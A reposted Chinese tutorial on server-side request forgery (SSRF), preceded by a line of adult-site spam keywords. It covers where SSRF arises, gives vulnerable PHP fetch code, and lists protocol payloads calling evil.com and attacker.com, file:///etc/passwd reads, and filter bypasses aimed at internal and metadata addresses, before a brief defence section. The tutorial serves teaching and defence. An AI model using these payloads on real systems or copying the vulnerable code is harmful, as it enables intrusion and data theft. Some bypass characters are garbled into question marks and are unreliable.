亚洲熟女综合色一区二区三区,亚洲精品中文字幕无码蜜桃,亚洲va欧美va日韩va成人网,亚洲av无码国产一区二区三区,亚洲精品无码久久久久久久

SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))

提示:以下是本篇文章正文內(nèi)容,下面案例可供參考

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服務(wù)器端請求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個(gè)安全漏洞。
一般情況下,SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。(正是因?yàn)樗怯煞?wù)端發(fā)起的,所以它能夠請求到與它相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng))

二、SSRF漏洞原理

SSRF 形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對(duì)目標(biāo)地址做過濾與限制。

SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))

比如,黑客操作服務(wù)端從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片,下載等等。利用的是服務(wù)端的請求偽造。ssrf是利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器

三、SSRF漏洞挖掘

1、分享:通過URL地址分享網(wǎng)頁內(nèi)容

SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))

2、轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)使其適合手機(jī)屏幕瀏覽:由于手機(jī)屏幕大小的關(guān)系,直接瀏覽網(wǎng)頁內(nèi)容的時(shí)候會(huì)造成許多不便,因此有些公司提供了轉(zhuǎn)碼功能,把網(wǎng)頁內(nèi)容通過相關(guān)手段轉(zhuǎn)為適合手機(jī)屏幕瀏覽的樣式。例如百度、騰訊、搜狗等公司都有提供在線轉(zhuǎn)碼服務(wù)。

3、在線翻譯:通過URL地址翻譯對(duì)應(yīng)文本的內(nèi)容。提供此功能的國內(nèi)公司有百度、有道等。

SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))

4、圖片、文章收藏功能:此處的圖片、文章收藏中的文章收藏就類似于分享功能中獲取URL地址中title以及文本的內(nèi)容作為顯示,目的還是為了更好的用戶體驗(yàn),而圖片收藏就類似于功能四、圖片加載。

http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

例如title參數(shù)是文章的標(biāo)題地址,代表了一個(gè)文章的地址鏈接,請求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此種形式保存文章,則在沒有限制參數(shù)的形式下可能存在SSRF。

5、未公開的api實(shí)現(xiàn)以及其他調(diào)用URL的功能:此處類似的功能有360提供的網(wǎng)站評(píng)分,以及有些網(wǎng)站通過api獲取遠(yuǎn)程地址xml文件來加載內(nèi)容。

SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))

6、圖片加載與下載:通過URL地址加載或下載圖片,圖片加載遠(yuǎn)程圖片地址此功能用到的地方很多,但大多都是比較隱秘,比如在有些公司中的加載自家圖片服務(wù)器上的圖片用于展示。

(此處可能會(huì)有人有疑問,為什么加載圖片服務(wù)器上的圖片也會(huì)有問題,直接使用img標(biāo)簽不就好了?沒錯(cuò)是這樣,但是開發(fā)者為了有更好的用戶體驗(yàn)通常對(duì)圖片做些微小調(diào)整例水印、壓縮等所以就可能造成SSRF問題)。

7、從URL關(guān)鍵字中尋找

利用google 語法加上這些關(guān)鍵字去尋找SSRF漏洞

share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain

簡單來說:所有目標(biāo)服務(wù)器會(huì)從自身發(fā)起請求的功能點(diǎn),且我們可以控制地址的參數(shù),都可能造成SSRF漏洞

四、產(chǎn)生SSRF漏洞的函數(shù)

SSRF攻擊可能存在任何語言編寫的應(yīng)用,接下來將舉例php中可能存在SSRF漏洞的函數(shù)。

1、file_get_contents:

下面的代碼使用file_get_contents函數(shù)從用戶指定的url獲取圖片。然后把它用一個(gè)隨即文件名保存在硬盤上,并展示給用戶。

<?php
if (isset($_POST['url'])) 
{ 
$content = file_get_contents($_POST['url']); 
$filename ='./images/'.rand().';img1.jpg'; 
file_put_contents($filename, $content); 
echo $_POST['url']; 
$img = "<img src=\"".$filename."\"/>"; 
} 
echo $img; 
?>

2、sockopen():

以下代碼使用fsockopen函數(shù)實(shí)現(xiàn)獲取用戶制定url的數(shù)據(jù)(文件或者h(yuǎn)tml)。這個(gè)函數(shù)會(huì)使用socket跟服務(wù)器建立tcp連接,傳輸原始數(shù)據(jù)。

<?php 
function GetFile($host,$port,$link) 
{ 
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
if (!$fp) { 
echo "$errstr (error number $errno) \n"; 
} else { 
$out = "GET $link HTTP/1.1\r\n"; 
$out .= "Host: $host\r\n"; 
$out .= "Connection: Close\r\n\r\n"; 
$out .= "\r\n"; 
fwrite($fp, $out); 
$contents=''; 
while (!feof($fp)) { 
$contents.= fgets($fp, 1024); 
} 
fclose($fp); 
return $contents; 
} 
}
?>

3、curl_exec():

cURL這是另一個(gè)非常常見的實(shí)現(xiàn),它通過 PHP獲取數(shù)據(jù)。文件/數(shù)據(jù)被下載并存儲(chǔ)在“curled”文件夾下的磁盤中,并附加了一個(gè)隨機(jī)數(shù)和“.txt”文件擴(kuò)展名。

<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result); 
echo $result;
}
?>

注意事項(xiàng)

一般情況下PHP不會(huì)開啟fopen的gopher wrapper
file_get_contents的gopher協(xié)議不能URL編碼
file_get_contents關(guān)于Gopher的302跳轉(zhuǎn)會(huì)出現(xiàn)bug,導(dǎo)致利用失敗
curl/libcurl 7.43 上gopher協(xié)議存在bug(%00截?cái)? 經(jīng)測試7.49 可用
curl_exec() 默認(rèn)不跟蹤跳轉(zhuǎn),
file_get_contents()?file_get_contents支持php://input協(xié)議

五、SSRF中URL的偽協(xié)議

當(dāng)我們發(fā)現(xiàn)SSRF漏洞后,首先要做的事情就是測試所有可用的URL偽協(xié)議

file:/// 從文件系統(tǒng)中獲取文件內(nèi)容,如,file:///etc/passwd

dict:// 字典服務(wù)器協(xié)議,訪問字典資源,如,dict:///ip:6739/info:

sftp:// SSH文件傳輸協(xié)議或安全文件傳輸協(xié)議

ldap:// 輕量級(jí)目錄訪問協(xié)議

tftp:// 簡單文件傳輸協(xié)議

gopher:// 分布式文檔傳遞服務(wù),可使用gopherus生成payload

1、file

這種URL Schema可以嘗試從文件系統(tǒng)中獲取文件:

http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果該服務(wù)器阻止對(duì)外部站點(diǎn)發(fā)送HTTP請求,或啟用了白名單防護(hù)機(jī)制,只需使用如下所示的URL Schema就可以繞過這些限制:

2、dict

這種URL Scheme能夠引用允許通過DICT協(xié)議使用的定義或單詞列表:

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]

accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp

在這里,Sftp代表SSH文件傳輸協(xié)議(SSH File Transfer Protocol),或安全文件傳輸協(xié)議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨(dú)協(xié)議,它運(yùn)行在安全連接上,并以類似的方式進(jìn)行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]

accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://

LDAP代表輕量級(jí)目錄訪問協(xié)議。它是IP網(wǎng)絡(luò)上的一種用于管理和訪問分布式目錄信息服務(wù)的應(yīng)用程序協(xié)議。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

5、tftp://

TFTP(Trivial File Transfer Protocol,簡單文件傳輸協(xié)議)是一種簡單的基于lockstep機(jī)制的文件傳輸協(xié)議,它允許客戶端從遠(yuǎn)程主機(jī)獲取文件或?qū)⑽募蟼髦吝h(yuǎn)程主機(jī)。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337

Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://

Gopher是一種分布式文檔傳遞服務(wù)。利用該服務(wù),用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>

evil.com:# nc -lvp 1337

Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

六、SSRF漏洞利用(危害)

1.可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息;

2.攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序(比如溢出);

3.對(duì)內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識(shí)別,通過訪問默認(rèn)文件實(shí)現(xiàn);

4.攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli等);

5.利用file協(xié)議讀取本地文件等。.

6.各個(gè)協(xié)議調(diào)用探針:http,file,dict,ftp,gopher等

http:192.168.64.144/phpmyadmin/

file:///D:/www.txt

dict://192.168.64.144:3306/info

ftp://192.168.64.144:21

七、SSRF繞過方式

部分存在漏洞,或者可能產(chǎn)生SSRF的功能中做了白名單或者黑名單的處理,來達(dá)到阻止對(duì)內(nèi)網(wǎng)服務(wù)和資源的攻擊和訪問。因此想要達(dá)到SSRF的攻擊,需要對(duì)請求的參數(shù)地址做相關(guān)的繞過處理,常見的繞過方式如下:

一、常見的繞過方式

1、限制為http://www.xxx.com 域名時(shí)(利用@)

可以嘗試采用http基本身份認(rèn)證的方式繞過

如:http://www.aaa.com@www.bbb.com@www.ccc.com,在對(duì)@解析域名中,不同的處理函數(shù)存在處理差異

在PHP的parse_url中會(huì)識(shí)別www.ccc.com,而libcurl則識(shí)別為www.bbb.com。

2.采用短網(wǎng)址繞過

比如百度短地址https://dwz.cn/

3.采用進(jìn)制轉(zhuǎn)換

127.0.0.1八進(jìn)制:0177.0.0.1。十六進(jìn)制:0x7f.0.0.1。十進(jìn)制:2130706433.

SSRF漏洞原理攻擊與防御(超詳細(xì)總結(jié))

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析為127.0.0.1
(xip.io 現(xiàn)在好像用不了了,可以找找其他的)

5.利用[::]

可以利用[::]來繞過localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句號(hào)

127。0。0。1 >>> 127.0.0.1

7、CRLF 編碼繞過

%0d->0x0d->\r回車
%0a->0x0a->\n換行
進(jìn)行HTTP頭部注入

example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a?

8.利用封閉的字母數(shù)字

利用Enclosed alphanumerics

???????.??? >>> example.com

http://169.254.169.254>>>http://[::①⑥⑨?②⑤④??⑨?②⑤④]

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?

⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ?

? ? ? ? ? ? ? ? ? ? ?

二、常見限制

1.限制為http://www.xxx.com 域名

采用http基本身份認(rèn)證的方式繞過,即@
http://www.xxx.com@www.xxc.com

2.限制請求IP不為內(nèi)網(wǎng)地址

當(dāng)不允許ip為內(nèi)網(wǎng)地址時(shí):
(1)采取短網(wǎng)址繞過
(2)采取特殊域名
(3)采取進(jìn)制轉(zhuǎn)換

3.限制請求只為http協(xié)議

(1)采取302跳轉(zhuǎn)
(2)采取短地址

八、SSRF漏防御

通常有以下5個(gè)思路:

1,過濾返回信息,驗(yàn)證遠(yuǎn)程服務(wù)器對(duì)請求的響應(yīng)是比較容易的方法。如果web應(yīng)用是去獲取某一種類型的文件。那么在把返回結(jié)果展示給用戶之前先驗(yàn)證返回的信息是否符合標(biāo)準(zhǔn)。

2, 統(tǒng)一錯(cuò)誤信息,避免用戶可以根據(jù)錯(cuò)誤信息來判斷遠(yuǎn)端服務(wù)器的端口狀態(tài)。

3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。

4,黑名單內(nèi)網(wǎng)ip。避免應(yīng)用被用來獲取獲取內(nèi)網(wǎng)數(shù)據(jù),攻擊內(nèi)網(wǎng)。

5,禁用不需要的協(xié)議。僅僅允許http和https請求??梢苑乐诡愃朴趂ile:///,gopher://,ftp:// 等引起的問題。

版權(quán)聲明:本文為CSDN博主「零點(diǎn)敲代碼」的原創(chuàng)文章,遵循CC 4.0 BY-SA版權(quán)協(xié)議,轉(zhuǎn)載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_43378996/article/details/124050308

相關(guān)新聞

歷經(jīng)多年發(fā)展,已成為國內(nèi)好評(píng)如潮的Linux云計(jì)算運(yùn)維、SRE、Devops、網(wǎng)絡(luò)安全、云原生、Go、Python開發(fā)專業(yè)人才培訓(xùn)機(jī)構(gòu)!